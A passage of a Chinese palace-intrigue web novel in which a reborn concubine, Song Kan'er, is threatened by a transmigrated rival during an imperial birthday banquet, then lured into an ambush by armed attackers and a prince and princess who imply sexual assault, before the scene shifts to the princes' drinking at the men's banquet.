骆晔的视线不由自主移到眼前人娇艳的小脸上,移到她如画的眉眼上。
只觉得她可真好看。
柳娇花媚间夹杂着几分少女的青涩。
有十六吗?
骆晔不动声色地细细打量,面上煞有其事道:“本世子奉陛下之命来给娘娘传话,无意冒犯,请宋昭训海涵。”
槛儿半垂着眼帘:“世子客气了。”
骆晔颔颔首,有意多说两句。
但从前没主动和哪个闺秀如此说过话的皇长孙,翕了翕唇竟一时不知说什么。
且这里是坤和宫。
他若和她待的时间久了,旁人会如何想。
短短两息,骆晔不再多言。
风轻云淡般“嗯”了一声后径自离去。
槛儿也没往他离开的方向看,转身就进了永祥门,回头的骆晔只来得及看见一片缥绿的裙摆一闪而过。
行了一段路。
骆晔问身旁的小太监:“你觉得二十出头老吗?”
小太监:“……”
二十出头就老了,那七老八十的算啥?
“算了,你也是二十的人。”
骆晔瞥眼二十的小太监,摇头叹道。
小太监:“……”
二十咋啦?
二十惹你了??
说得好像你不会长似的,再过两年多你也二十啦!
骆晔当然知道自己再过两年半就及冠了,但想到刚刚的小昭训应该刚及笄不久。
他六皇叔都及冠一年,二十一啦!
差六岁。
这不是老牛吃嫩草吗?
真亏六皇叔下得去手。
骆晔撇嘴腹诽。
回到乾元殿,太子刚代元隆帝祭祖回来,骆晔暗戳戳瞅了自家六皇叔好几眼。
骆峋:“……”
“何事?”
骆峋站着由海顺打理衣冠,问侄儿。
骆晔蹭过来。
发现六皇叔比他高了大半个头,肩也比他的宽。
骆晔:“皇叔您现在多高?”
骆峋不再看他。
“世子爷,咱们殿下八尺有四呢。”海顺笑眯眯答道。
骆晔瞪大眼。
“皇叔您又背着我偷偷长个儿!”
骆峋直接走了。
骆晔羡慕地看着六皇叔高大伟岸的背影,旋即又使劲摇了摇头。
他才十七就有七尺九了呢。
等他及冠,定会比皇叔长得更高,更结实!
而且他才不会老牛吃嫩草!
.
裴皇后还在梳妆,引路的宫女直接将槛儿领到了坤和宫的后寝殿。
槛儿进门,碧荧碧烟领着宫人鱼贯而出,屋中只剩了她和裴皇后、冯嬷嬷。
槛儿的身子如今对裴皇后这等高位贵人,已经不像从前那般本能地畏惧了。
她也把神态举止拿捏得恰到好处,上前恭恭敬敬行了礼唤了声“娘娘”。
裴皇后的目光落在她身上。
小姑娘穿了件珊瑚朱绣四季花卉的对襟罗衫,缥绿鹊衔花枝纹马面裙,云环髻上几根金累丝嵌宝钗簪。
人瞧着比一个多月前清减了些,好在精神头不错,一张小脸水灵娇媚。
裴皇后温和地点点头。
“你有身孕的事,太子已同本宫说了,今日人多,少不得会有冲撞,你便跟着本宫,本宫不会叫你累着。”
槛儿福身:“多谢娘娘抬爱。”
裴皇后:“也不必过于拘谨,凡事以身子为重,本宫不是老虎,不会**。”
冯嬷嬷就笑了。
“您自
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然不是老虎,您是天上的凤凰,谁见了您不得为您的气势折服啊!”
槛儿掩嘴跟着笑。
裴皇后假瞋了她们一眼。
随后也没多说别的,更没让槛儿伺候。
只叫她到对面西稍间歇着,又交代冯嬷嬷叫人好生看顾伺候着。
东宫的第一个子嗣。
太子有安排,她们这边自然也不能疏忽。
槛儿便在西稍间铺了**簟的炕上坐着,炕几上摆着红枣茶并几样解暑小食。
隔着一道碧纱橱和珠帘。
槛儿能看到对面宫人进进出出,卧房里不时传来裴皇后同人说话的声音,说的大致都是今日宴席相关的事。
单听着就能知道裴皇后今日有多忙,槛儿也就没自作聪明地过去添乱。
吃了几口红枣茶并糕点。
银竹进来说太子妃和曹良媛来了。
槛儿礼节性出去迎了迎。
郑明芷早知坤和宫缺人手是假,裴皇后故意跟她作对是真,此时见槛儿妆容衣衫都井井有条,就更加确定了。
老虔婆!
郑明芷又在心里暗骂了一声,不过表面倒一副什么都没看出来的样子。
当着裴皇后的面也只是象征性叮嘱了槛儿几句,叫她好生伺候什么的。
裴皇后权当不知道太子妃在心里骂她。
反正自己就算什么都不做,她的这个儿媳也是把她当恶婆婆想的。
既如此,裴皇后都懒得做样子叫槛儿伺候一二,只说宫人不小心把她今儿要赏人的金银锞子给洒了弄混了。
让槛儿去把这些锞子给分拣出来。
于是槛儿就又回了西稍间待着,自有宫人端来一盆刚弄混的金银锞子。
今日女眷这边的朝拜流程比端午节隆重繁杂多了,因为宗亲妇和外命妇不能直接向元隆帝朝贺献礼。
裴皇后要代元隆帝受礼。
在此之前,她还要单独受一番众人的礼。
不过这些流程都跟槛儿没关系,毕竟她现在不能像端午那回一样久站。
裴皇后去正殿受众女眷的朝拜时,槛儿就留在后寝殿这边继续拣锞子。
等裴皇后代元隆帝接受朝贺时,槛儿才出来跟在郑明芷和曹良媛身后,作为东宫女眷代表恭祝圣寿。
寿礼什么的。
槛儿没资格献,这一环节跟她也没关系。
元隆帝在前朝接受完文武百官、藩王、以及番邦使臣的朝贺献礼,又移步到乾元殿接受妃嫔,儿子儿媳,女儿女婿以及孙辈们的家礼。
槛儿和曹良媛只是侍妾,这一环节跟她俩都没关系,两人便一道留在坤和宫。
曹良媛站了两个时辰,腿都僵了。
见槛儿一上午都坐在铺着**簟的炕上拣锞子,旁边小几上还摆着零嘴儿茶水。
她忍了又忍,终究还是没憋住,笑着刺道:“妹妹真是好福气,旁人忙得不可开交,你在这儿倒是清闲。”
第80章 账要算到宋槛儿头上!
裴皇后这边的金银锞子都是半两的大小,有元宝、梅花、海棠等多种形状,雕着龙凤纹并宫廷造的字样。
挑拣起来不费眼,还格外喜人。
可不就清闲吗?
但槛儿哪能认呢。
“姐姐慎言。”
她停下手里的动作,严肃地朝窗外看了一眼,把声音压得很低很低。
“今日四海宾服,万邦来朝,能随娘娘左右是天大的恩典体面,姐姐这话若是叫旁人听了去再传出去。
是时恐惹娘娘不悦也就罢,还极有可能叫番邦女眷以为咱们不待见她们。
事关外交,若被有心人利用,一个破坏国是扰乱朝纲的罪名扣下来,东宫会被置于何地姐姐可有想过!”
槛儿有心吓曹良媛,但说的也是事实。
上辈子她随庆昭帝过了几十个万寿节,深知这种场合该注意些什么。
单是个人也就罢,关键会牵连全族。
她们是东宫女眷。
一个不慎,整个东宫都要遭殃。
曹良媛平时在东宫后院怎么阴阳怪气都行,但今天槛儿绝不能让她因为后宅的那点儿小心思坏了大事。
曹良媛当然知道今天要谨言慎行,她打小参加宫宴还能不清楚规矩吗?
她就是不满自己在外面站了整整一上午,姓宋的却在这儿过得这么舒坦。
一时想刺两句罢了。
反正她们在坤和宫。
曹良媛没觉得有什么。
可看着对面人严肃中透着害怕的表情,听着她那句“破坏国是,扰乱朝纲”。
曹良媛心头一紧,后背一阵发寒。
可她堂堂三品大员之女,又是良媛的位份,怎能表现出被一个方方面面都不如自己的人说教了呢?
于是,曹良媛状若无事地摇着团扇,笑道:“看不出来,妹妹懂的倒是挺多。”
槛儿翕了翕唇。
曹良媛:“怎么?妹妹想说什么?”
槛儿发誓。
她真没有要炫耀自己得宠的意思。
但她刚刚的那番话确实不太符合她现今的身份,且往后她也不会一直装孤陋寡闻。
所以想了想,槛儿状似不自在地低了低头,:“也没有很懂,是殿下不想我今日闹出笑话,夜里提点了几句。”
曹良媛被气走了!
槛儿咳了咳。
之后银竹出去了一趟。
也不知她用了什么手段打探来的消息。
不仅知道王妃,公主们的寿礼有哪些,连以太子为首的几个皇子们在前朝献了什么礼都打探得一清二楚。
譬如太子的寿礼是一副他历时三月,亲手画的元隆帝带他们几位成年皇子到北苑指挥万**演武的图。
此画一丈见长,四尺见宽。
画中将士含步兵、骑兵、火铳兵与炮兵,众人皆身穿甲胄各自为阵,动作整齐划一,有山呼海啸之势。
高台上的元隆帝神采飞扬,站在他身后的几个皇子亦各个龙章凤姿。
连简王的那身肥肉,看上去都颇具风采。
据说当时画一展开,在场的番邦使臣无一不震撼叫绝,齐齐跪下向大靖朝的威武帝君元隆帝高呼万岁。
元隆帝大喜。
赞太子大才,赐外邦新贡良驹十匹。
其他几位皇子皇孙当数睿王和皇长孙进献的寿礼最为瞩目,通过献礼这一环节也能看出几个皇子之间的局势。
上午就在朝拜和献礼中过去了。
临到午宴。
女眷们暂被安排到别处休整,郑明芷为首的众皇子妃侧妃们终于得以喘口气,聚在坤和宫的偏殿歇脚。
睿王妃拿了一片蜜渍人参含在口中。
潋滟的眸光不经意般在郑明芷和曹良媛身上打了个转,状似随口笑着道:
“每年这个时节我都恨不得生出三头六臂来,就怕这儿看顾不好那儿招待不周。
也难为太子妃和曹良媛了,东宫女眷不多,逢年节只你们人前人后地张罗。
说起来,端午宴东宫不是还来了位昭训吗?太子妃怎生不叫她充作奴婢跟出来,好歹也能多个人跑腿。”
此言一出,众人的视线朝郑明芷投来。
今儿六月三十,离端午过去已经快两个月,在座的其实不少人已经记不太清东宫的那位新昭训长什么模样了。
但她们逢初一十五来向裴皇后请安,或多或少听了些关于东宫的传言。
知道现今那位宋昭训似乎已经成了太子的宠妾,心中自是各有心思不提。
这会儿听睿王妃提起那位昭训,有的人面上不显,实则心里都在等着看笑话。
郑明芷倒是神态自然。
“睿王妃有所不知,宋昭训今儿来了,只是母后那边缺人手,便把人叫了去,这会儿还在寝殿那边做活儿呢。”
睿王妃眉头微不可察地一挑,“原
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来如此,能伺候母后是她的造化。”
侧妃这边慎王府的林侧妃哪壶不开提哪壶。
“我都记不太清宋昭训的模样了,姜侧妃转过来让我瞧瞧,瞧着你我就想起来了。”
宣王妃皱眉。
姜侧妃以手滑做借口拍开林侧妃的手,两人你来我往地阴阳怪气了一番。
等把这茬揭过,姜侧妃心里火冒三丈。
宣王那个死男人。
这都过去快两个月了,宋槛儿没被废就算了,她写的话本子反倒被禁了!
当初她能起那样的书名发行话本子,还是慎王帮她打通的关系。
现在被禁了。
用脚趾头想也知道是太子搞的鬼,也只有太子,慎王不会算计回来!
没出息的男人。
其他几个王爷都在争那个位置。
他倒好。
自己的女人被当众羞辱,他不帮着出气就算了,还心甘情愿给人做牛马!
姜侧妃真是越想越怄。
宋槛儿现在还不是皇后呢,就敢不把她放在眼里,以后成了皇后还了得?
不行!
她一定要把丢了的面子找回来,财路被断,这账也要算到宋槛儿头上!
午宴摆在仁寿宫与坤和宫。
槛儿只象征性在裴皇后身边服侍了两刻多钟,就到东宫女眷席上用膳了。
当然,她的膳食是试过毒的。
膳罢,女眷们按品阶高低分区观赏不同的余兴节目,裴皇后全程与众人同乐。
郑明芷和曹良媛作陪。
槛儿时不时被“使唤”下去做事,实则是裴皇后变着法儿让她歇息。
晚宴设在御花园的几处亭台水榭,方便众人品宴赏景,膳后一起谈笑。
今夜无月,墨色的空中繁星成河,似是有人将银子碾碎撒在了上面。
御花园中花木繁茂,奇峰秀石,翠岸环湖,盏盏花灯顺着碧波蜿蜒而下,四周琉璃彩灯照得园中亮如白昼。
水榭中钗光鬓影,时而传来女子簪花斗草的浅笑,琼筵坐花恍若天外来客。
晚膳后,槛儿便没再像下午那般离席。
而是同曹良媛一道坐在东宫的女眷席上,时而静听裴皇后与场下女眷谈笑,时而看就近女眷们逗趣,或是一个人默默欣赏场中伶人们吹笙抚琴。
总归累不着她。
宴过一半,身后传来一道女声叫她。
槛儿回头一看。
第81章 太子长子,溺亡。
却是坐在几个王妃之间最末位的宣王妃,瑜姐儿正坐在她怀里朝这边挥着手。
宣王妃她们这些王妃之间的往来,奉行的自然也是长幼尊卑,就譬如现在。
王妃们以郑明芷和信王妃为中心在一块儿说笑,简王还没有成婚,宣王妃就是几个王妃里年纪最小的。
她和瑜姐儿便坐在后面。
槛儿在曹良媛后面,和宣王妃刚好呈斜对面的方位隔着半个案几的距离。
槛儿笑着同母女俩点点头表示见礼。
瑜姐儿不知在宣王妃耳边说了什么,槛儿见宣王妃点了点头,然后母女二人便往她这边挪了一小段距离。
“六小婶婶!”
瑜姐儿从她娘怀里滑下来,脆脆道。
因着槛儿送的那两方手帕,瑜姐儿一直记得六皇叔家的小婶婶呢。
小家伙原本今儿上午看到槛儿时就想过来找她说话,但被宣王妃拘着了。
这会儿说上话的第一件事就是从荷包里掏出被她叠成小块的手帕要给槛儿看。
可惜小丫头的手刚摸到荷包,就被宣王妃给按住了,瑜姐儿不解地抬头看娘。
当着这么多人的面,宣王妃不好跟女儿解释,只兀自同槛儿说起话来。
“我见你比上回清减了,可是身子不爽利?”
宣王妃只比宣王小一岁,现年十九,生得高挑纤瘦,瓜子脸,柳叶眼,模样俏丽,说起话来声音清柔伶俐。
是个心思细腻的爽快人。
槛儿道:“有劳王妃关心,前些日子伤了暑,才养好没几天,太医说没什么大碍。”
宣王妃笑了一下:“没有大碍便好,伤暑之症不可忽视,是该注意些,这两日天气凉爽不少,倒是刚好利于你恢复。”
“是,都是托陛下,娘娘的福。”
她二人在这儿聊上了。
旁边信王妃几人瞥了几眼,看郑明芷和曹良媛的眼神便有几分意味不明。
睿王妃端起茶盏品了一口,妖娆的狐狸眼不动声色地将槛儿打量了一遍。
越看越满意。
昱哥儿的奶娘到底年纪有些大了,又是做奶娘的,胸前的物什都垂了。
少了几分美感,难免败兴。
这位宋昭训显然不一样。
十五六岁,正是花儿一样的年纪。
端午节见的时候还稍显青涩,如今眉眼间的那股子风流藏都藏不住。
想来素日在榻上该是浪翻了,若不然如何能勾得太子那等人物不吝雨露。
承的多了,媚劲儿自然就大了。
睿王妃舔舔唇。
槛儿若有所觉,眉头不显地拢了拢。
这时。
两个时辰没去恭房的她忽觉下腹不适,槛儿忍了忍,最终还是同郑明芷请示了一番,又叫跳珠去向裴皇后请示。
裴皇后在上首处颔了颔首,槛儿方才离席,领着跳珠和银竹悄声走出水榭。
不远处席位上,姜侧妃眸光一转。
半刻钟后,那处席位没了她的踪迹。
睿王妃撩眼槛儿所在的位置,指尖摩挲着茶盏边沿,旋即目光落在捧着小杯子一口一口抿果汁的瑜姐儿身上。
御花园没有特定的恭房,此乃风水禁忌。
在御花园当值的宫女太监若有需求,通常都是到距离远,最偏僻的专为宫女太监设置的简陋恭房解决。
来参加宫宴的王妃、公主以及命妇们,自然不可能用宫人出恭的地方。
可后宫女眷这么多,就算什么也不吃,一整天下来也不可能一次都不解决。
所以每逢这时候,内务府都会在宴会的前一天晚上,在御花园的西北角小院临时搭建几处净房以供使用。
净房拿屏风隔成了两间,里间出恭,外间打理妆面的物什一应俱全。
槛儿净了手从净房出来。
就见姜侧妃径直朝她走来,嘴上很是不客气:“叫你的人离远点,我有事跟你说。”
槛儿几乎一看到她,就猜到对方是出于什么原因冲她摆这架势了。
她和银竹对个眼神。
银竹微不可察地点了点头。
槛儿懂了,叫她和跳珠退到几丈之外。
姜侧妃也屏退了随行的宫女。
等院子中间只剩了她二人,姜侧妃微微走近,目不转睛地盯着槛儿。
声音很轻。
“你是重生的,对吗?”
正值戌时过半,夜幕降临。
周遭安静得出奇。
小院的四周挂满了红纱灯笼,光晕散发出来,照得院内仿佛蒙着一层红纱。
也照得姜侧妃的桃花眼好似染着一层阴翳。
“什么?”槛儿茫然道。
姜侧妃不屑一嗤。
“别装了,我都知道的,说吧,你什么时候死的?元隆年间,还是,庆、昭年间?”
“庆昭”两个字,她故意加重了语调。
说得又慢又有力。
边说还边目不转睛地盯着槛儿,像是要从她的表情里看出蛛丝马迹。
可惜。
槛儿上辈
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子好歹在宫里待了四十多年,期间在皇后的位置上坐了二十年。
如果真能这么轻易就叫人诈出来。
那她早不知死多少回了。
“姜侧妃,您、您在说什么?恕妾身听不太懂,您是不是身子不舒服?可要妾身帮您叫宣王妃来?”
槛儿后退两步,眼里三分不解,三分无措,三分关切和一分惶恐。
人在听到一件自己完全不懂的事时该有的反应,被她演绎得淋漓尽致。
当然,槛儿心里很震惊。
端午节那天她还猜测过姜侧妃是不是跟她有一样的际遇,也重活了。
但当时她很快又把这个猜测给按下去了。
因为觉得如果谁都有重生这样的际遇,那这世上估计处处都是活了几辈子的人,如此未免太过荒谬。
可眼下距离太子上辈子的登基时间还有十多年,姜侧妃能准确说出太子登基后的年号,就足以说明问题。
所以,姜侧妃真的也是……
还是说,这世上有别的类似重活的事?
姜侧妃没能在槛儿脸上看出破绽,忽然就有些不确定了,难道她猜错了?
宋槛儿其实不是重生的?
念头刚起,姜侧妃狠狠甩了甩头。
错不了。
她穿的书,她还能不清楚吗?
原书的男女主虽然是宣王和宣王妃,但因为宣王跟太子的关系好,所以书里写太子的内容也不少。
太子和宋槛儿就是里面的副cp。
书里的这个时间,宣王曾和太子针对东宫的局势交谈过,中途提到过东宫的子嗣和太子幸了宋槛儿的情节。
从太子当时隐晦的反应来看,宋槛儿应该是做了什么惹他生气了。
等宣王离开后,太子本来想问海顺关于宋槛儿的情况,但最终只说了一个“她”字,就没再继续了。
所以不可能错的。
从她穿过来开始,除了宣王和宣王妃这对原男女主被她破坏了,其他一切都是按照书里的剧情发展的。
既然书里的剧情不会错。
那么现在站在她面前的宋槛儿,就是重生的!
“你要跟我装糊涂是吗?”
姜侧妃跨出一大步。
槛儿要避。
但还没动作,姜侧妃在离她不到半尺的距离停了下来,声音宛如鬼魅。
“帝之嫡孙,太子之嫡长子骆曜,生于元隆二十一年正月十六,元隆二十五年二月初三薨,年四岁。”
“溺亡。”
第82章 太子的宠妾是个**又重活回来的怪物!
一阵狂风大作,院中树影婆娑。
姜侧妃勾着唇,眼中恶意满满。
“怎么样?有没有觉得很心痛?有没有觉得难过得想死?你不承认也没有关系,我会去告诉太子。
告诉他,他新宠爱的妾室是个**又重活回来的怪物,告诉他,你,宋槛儿,其实从头到尾都在算计他。”
“你根本,没有爱过他。”
风大。
跳珠和银竹听不清槛儿她们在说什么。
但银竹眼力好,姜侧妃脸上的不善她看得一清二楚,袖下的手微微探出。
一抹寒光一闪而过。
死一般的沉默。
槛儿忽然笑了。
“恕妾身还是不太能理解姜侧妃的意思,但能让您拿这么大逆不道的假设来威胁妾身,想必姜侧妃相当恼妾。
所以现在妾身想知道,您这么威胁妾身的目的是什么?您想让妾身怎么做?”
居然还能装得下去?
看来这姓宋的死的时候年纪很大了啊,都修炼成老妖精了,定力这么强。
书里这人是病死的。
那病还是太子被幽禁期间,郑明芷罚宋槛儿罚得太重给落下来的病根,最后长年累月变成了古代的绝症。
难道……
这人就是那时候**后,回来的?
姜侧妃微微挑眉,后退一步。
“很简单。”
她双手环在胸前,下巴扬起。
一副倨傲高高在上的姿态。
“跪下,向我磕三个响头,为你在端午宴上当众下我的脸面道歉,说你错了。
你不该在瑜姐儿说你比我好看的时候不仅不反驳,还心安理得地接受了。”
“对,就是这样,跟我说对不起,说你比我丑,我就替你保守你的秘密。”
她是从二十一世纪来的新时代女性,她只要对方一个正确的态度。
态度对了,她就不会为难人。
新时代女性不雌竞,可谁叫这里是封建社会皇权至上呢,她是二品的亲王侧妃,宋槛儿只是七品的太子昭训。
只叫她跪地磕头道歉。
真的很宽容了。
至于这女人让太子断了她财路的这笔账,她再找别的机会算回来就行了。
“看来姜侧妃是真病了。”
槛儿呼出一口气,颇有些无奈道。
“我都忘了端午宴的事了,您居然还记得这么清楚,甚至不惜编造那等大逆不道的谎言,都快吓死我了。”
“哈?你还装?你……”
“端午宴我和大郡主初相识,与姜侧妃您更谈不上认识,我没有缘由下您的脸,也不认为自己有下过您的脸,自然不存在道歉一说。
姜侧妃如果执意要拿这件事跟我过不去,要去告诉太子我是怪物,那您就去吧,我身正不怕影子斜。”
说完,没等姜侧妃再开口。
槛儿绕过她就走。
“你给我站住!”
姜侧妃转身朝槛儿抓去。
可惜刚伸手,就被不知何时过来的银竹给钳制住了,“侧妃娘娘,自重。”
姜侧妃的脸“刷”地一白。
只觉得手腕都要被掐断了。
幸好银竹很快松开了。
但姜侧妃被推了老远。
一个趔趄,一屁股跌坐在地。
女眷进宫不能带自己的丫鬟,刚刚跟姜侧妃来的是宫里安排的一个小宫女。
见状,小宫女忙上前搀人。
小院里值夜的几个宫女你看看我,我看看你,最终都权当什么都没看见。
一个宫外的侧妃,一个东宫的宠妾。
傻子都知道帮哪一个。
走出小院,槛儿的脸彻底沉下来。
“银竹,姜侧妃吃多了酒,不慎栽进恭桶,扭伤了腿,误食污秽之物。”
银竹眸光沉了沉。
“是。”
下一刻,人消失在原地。
跳珠瞪大眼。
银竹竟是个高手!
迅速回神,跳珠环顾四周。
确定周围无人,这才凑到槛儿耳边问:“殿下那边主子打算如何解释?”
自家主子和姜侧妃刚刚具体说了什么,那不是她该问的,但银竹是太子的人,姜侧妃又是宣王的侧妃。
跳珠担心自家昭训此举会惹太子不快。
槛儿走到一处敞亮的地方等银竹:“我会向殿下说明,不会有事。”
不管姜侧妃跟她一样是重活的,还是有什么别的际遇,但敢拿曜哥儿说事……
就在这时,离小院不远的西南方向忽地隐约传来一声“噗通”声响。
像是有谁落水了。
紧接着是一道宫女惊慌的喊声:“瑜郡主!瑜郡主落水了!快来人啊!”
跳珠一惊。
“主子,是宣王大郡主!”
槛儿也听到了,她的脑海里自发闪过小丫头的小胖脸,但她脚下没动。
“等银竹回来了再说。”
瑜姐儿很乖,很懂事。
小家伙出了事,她也会记挂她的安危,但前提是刚刚落水的确是瑜姐儿。
且就算是瑜姐儿,此时是晚上。
自己肚子里还怀着一个,她说什么也不可能这时候放着自己不顾而跑去凑热闹,担心别人家的孩子。
这种想法很冷血,可在后宫待了一辈子的槛儿,血早就不是热的了。
跳珠知道自家主子谨慎,也觉得她们就该这样,于是主仆俩谁都没动。
恭房这边的小院离御花园并没有多远。
但因着御花园草木繁茂,假山亭台成群,来这边路上要绕来绕去,所以从小院这个位置听不到那边的热闹声。
刚刚落水的方向持续传来骚动,应该是在那边值夜的人在紧急救人。
如是过
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了几个呼吸的功夫。
银竹回来了。
见槛儿即便听到异样,也没跑去瞧。
银竹暗感欣慰。
她是太子的暗卫。
但由于东宫在陛下的眼皮子底下,他们这些暗卫便不能像宫外几个王爷的暗卫那样,动辄飞檐走壁。
所以通常他们都是作宫人打扮,降低存在感,有差事要办也是悄无声息。
宋昭训行事有分寸,对她来说是好事。
槛儿不打算去凑热闹,决定先回水榭一趟,看看是不是瑜姐儿落水了。
只不过主仆三人走了没多会儿,迎面跑来一个坤和宫的小宫女。
称瑜郡主落水,皇后娘娘即将移驾钦安殿,叫槛儿结束后也到钦安殿去。
钦安殿乃内廷药库,常用作紧急情况处理,到钦安殿进行救治确实合情合理。
且那小宫女槛儿曾在坤和宫见过,对方传完话后也立马折返回去复命了。
没有要特意引路的意思。
一切看来都是那么合情合理。
但……
“银竹,拿下她!”
眼见小宫女即将拐弯,槛儿沉声喝道。
银竹身形一闪。
不过眨眼之间,那小宫女便如同一只小鸡崽也似被银竹拎到了槛儿面前。
“谁指使你来的?”
槛儿目光沉静地小宫女,尚显娇柔的声音里透着一股不容置喙的压迫感。
跳珠的心狂跳不止,为此刻事情的突变,也为自家主子难得一见的厉色。
银竹面不改色。
“宋、宋昭训这是做什么?奴婢只是奉娘娘的命来传话的啊,什么指使?”
小宫女一脸懵懂,跪在地上瑟瑟发抖。
槛儿却是不信。
今日这样的场合宫人们都是提前受了训的,即便是天塌下来,消息第一时间也只能报给能担事的主子。
亲王郡主落水这般的大事,哪怕是宣王妃这个当娘的,也不会第一时间得知,而该由裴皇后寻机叫人转述。
换言之,就算瑜姐儿真落水了。
此时水榭那边的宴也还在照常进行,只有裴皇后和宣王妃会找借口离席。
而眼下是晚上,裴皇后又知晓槛儿有身子。
放着气氛祥和的水榭不让回,而叫一个身怀有孕的人,跟着她急匆匆去探望一个只打过两次交道的小郡主。
别说裴皇后不会下这样的令。
就是下了。
槛儿也不可能在今晚这种时候仅凭一个小宫女的传话,就对此深信不疑!
见小宫女没有要说实话的意思,亦或者她也是被人利用,槛儿便不打算在这儿浪费口舌,让银竹押着小宫女。
主仆几人往水榭那边走。
然而越过一座亭台,行了一小段路。
槛儿停了下来。
不对劲。
**静了。
第83章 宋昭训打戏?!太子:“违者杀无赦!”
来时这一段路上都有不少宫人值夜,这会儿这边竟一个宫人都没了。
周遭树荫沙沙作响。
路边的灯笼被风吹得摇摇晃晃。
烛光忽明忽暗之间,奇列在园中的嶙峋山石与老树虬枝显出几分妖魔之态。
“啧。”
一座假山后响起一道短促的咂嘴声。
听声音是个女子。
槛儿眸光凌厉地扭头。
跳珠警惕地护着她,银竹迅速对槛儿耳语一阵:“主子勿慌,当心脚下。”
槛儿原就不慌,加上太子昨晚有提醒,又有银竹保护,她这会儿冷静得可怕。
“我知道,你切勿分心。”
突然!
两道黑影飞跃而出!
银竹甩开小宫女抬臂格挡,另一手将槛儿牢牢护在身侧,只听得“锵”的一声。
竟是和银竹过招的黑衣人手持利剑,与银竹手中不知何时多出的一把短刀相撞!
兵刃相接。
刺耳冰冷的声响激得人头皮发麻。
跳珠腿都软了。
却还是在第一时间拔出银簪,在另一黑衣人朝槛儿袭来时拼尽全力冲上前去!
传消息的那宫女不知是被银竹扔的那一下撞到脑袋摔晕了,还是被眼前的场景吓晕了,躺在地上不省人事。
不过这会儿也没人顾得上她。
槛儿的这具身子不愧做了一年多的杂役,一把子力气外加手脚灵活。
眼看跳珠一簪子扎歪一个趔趄栽出去,那黑衣人一记手刀就要劈到她后颈。
槛儿旋身朝跳珠的屁股一踢!
同时对准黑衣人的脸扬手一洒,方才被她第一时间从地上抓的那把土正中黑衣人露在外面的一双眼睛。
黑衣人连退数步。
槛儿趁机一把将跳珠拽回。
跳珠紧紧抓住主子的手,疯狂大喊:“走水啦!走水啦!附近有没有人快来救火!”
和银竹打得有来有往的黑衣人虚晃一招甩开银竹,朝槛儿二人袭来。
被槛儿用沙迷了眼的黑衣人此时缓过来,也冲槛儿她们扑咬了过来。
银竹手腕一翻,脚下一踢。
手中短刀和一块小石头直击二人面门!
电光火石间,二人齐齐闪避。
槛儿趁机拉着跳珠躲藏。
银竹闪身过来,同时和两人交起了手。
御花园属后宫范畴,历来不允许侍卫进出,都是由官宦在各个地方把守。
平时随时都能叫出来人,这会儿却是连跳珠刚刚的那番喊叫都无人应。
想也知道是被人做了局。
是谁?
槛儿和跳珠一面躲藏一面迅速转动脑子。
对方早有埋伏。
说明即便她不来出恭,对方也会想办法将她引出来,再拿瑜姐儿落水之事拖住她。
但自己一个刚得宠的侍妾。
对方不可能只是想要了她的命,她的命于东宫和太子而言根本微不足道。
那种通过拿一个小侍妾做人质或是杀了小侍妾的方式,来击溃一国储君的心智。
让其为小侍妾出事而方寸大乱的桥段。
只有话本子里才有。
那就是为了她腹中的孩子?
亦或者,她的清誉?!
槛儿的脑中一道闪电划过。
就在这时。
其中一名黑衣人不知怎么甩开了银竹,几个闪身就到了槛儿二人跟前。
跳珠吓得直叫唤,冲上去跟他拼了!
槛儿并不紧张。
但这具身子本能地心如擂鼓。
千钧一发之际,一只手倏地从她身后的假山后面探了出来,捂住了她的嘴!
槛儿攥紧金簪,抬手转身猛扎!
不料下一刻。
一双熟悉的冰冷凤眸撞进她眼底。
砰!砰!
连续两道重物相撞之声。
却是就在刚刚又窜出一黑衣人,三个黑衣人齐上,银竹和跳珠双双坠地。
槛儿被其中一人从假山后拽出来,她满脸慌乱之色,脸上残留着未干的泪痕。
“我们的太子爷还真是宠爱宋昭训呐,本王想一睹宋昭训的花容月貌当真是费了好一番功夫。”
睿王从幢幢树影之中步出。
一身藏青色亲王**袍,长身玉立,一把**洒金折扇微晃,一派的风流倜傥。
睿王妃挽着他的胳膊,精致的面容在朦胧烛光的映照下绝美不似凡人。
“太子爷眼光必然不会差,咱们也算是有福了,有机会享用这等绝色。”
说着话,她来到槛儿跟前。
染着蔻丹的指尖轻轻抬起槛儿的下巴。
“宋昭训,让我和睿王尽尽兴如何?”
.
男客这边的宴摆在奉天殿。
元隆帝年年过生辰,倒没什么感觉,但有这么多番邦使节在,他自是不会放过这种能彰显大**威的场合。
因此便也不拘着众人。
叫他们该吃吃,该喝喝。
他自己也喝了不少,加上大抵是冷菜食多了,席间元隆帝忽感腹痛。
对太子撂下一句“你看着点儿”就表面昂首阔步,实则暗暗憋着劲儿地回乾元殿解决“大事”去了。
他一走,殿内的谈笑声明显更大了。
太子今晚也难得喝了不少,脸都红了,只可惜他家皇帝老子能走,他不能。
所幸在场使节们或讲究礼数,或忌惮本朝声威,敬酒还是以点到为止为主。
即便有个别人劝酒,意在看大靖储君的笑话,也自有本朝文臣武将教其做人。
不需要太子费心。
至于其他几位王爷。
除宣王、荣王外,剩下的几个倒是想把太子灌醉,可惜有外邦的人在场。
他们又不蠢,这
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种会叫外人看笑话的事,他们真做了损的只会是自己的颜面。
所以一整天下来,都还算安分。
眼看宴席接近尾声。
简王左顾右盼。
随后迷迷瞪瞪地大着舌头问:“我三哥呢?咋、咋感觉一晚上没见着人?”
慎王环视一圈,打了个酒嗝:“出恭去了吧,两刻多钟前好像还在这儿。”
简王嫌弃地扇扇鼻子。
抬目见太子从后侧殿门进来,他痴肥的身子一顿一顿地挪到太子跟前。
“啥恭要出两刻钟啊?看我六哥不就、不就半盏茶的功夫都没用到吗?六哥,半盏茶的功夫,真快,六哥真快……”
“诶不对,六哥怎么才半盏茶?男人这么快不行啊,六哥你可不能不行啊……”
真是越说越不像话了。
“哎哟喂,来个人给简王殿下端碗醒酒汤来!”海顺搀住简王把人按回席位上。
自有人哄简王喝醒酒汤。
太子坐回席位。
绣着团龙祥云纹的前襟处隐隐两道褶皱,痕迹很浅,并没有人注意到此处。
骆晔替父亲信王挡了一杯酒,转身问:“六皇叔此去没碰上三皇叔吗?”
骆峋摇头。
骆晔看了圈周围,“那就怪了,三皇叔这恭出到哪去了?若不叫人去寻寻?”
“寻个屁。”
慎王摆手,浑不当回事。
“他一个大男人还能出事不成?不必管他!来,咱们喝,咱们继续喝!”
慎王继续张罗着喝酒,灌了醒酒汤的简王跟他勾肩搭背,信王还在和人吟诗作对,骆晔被他拽了过去。
一时间,还真没人管睿王。
“六哥……”
宣王在太子身侧低喊了声。
骆峋不语。
这时。
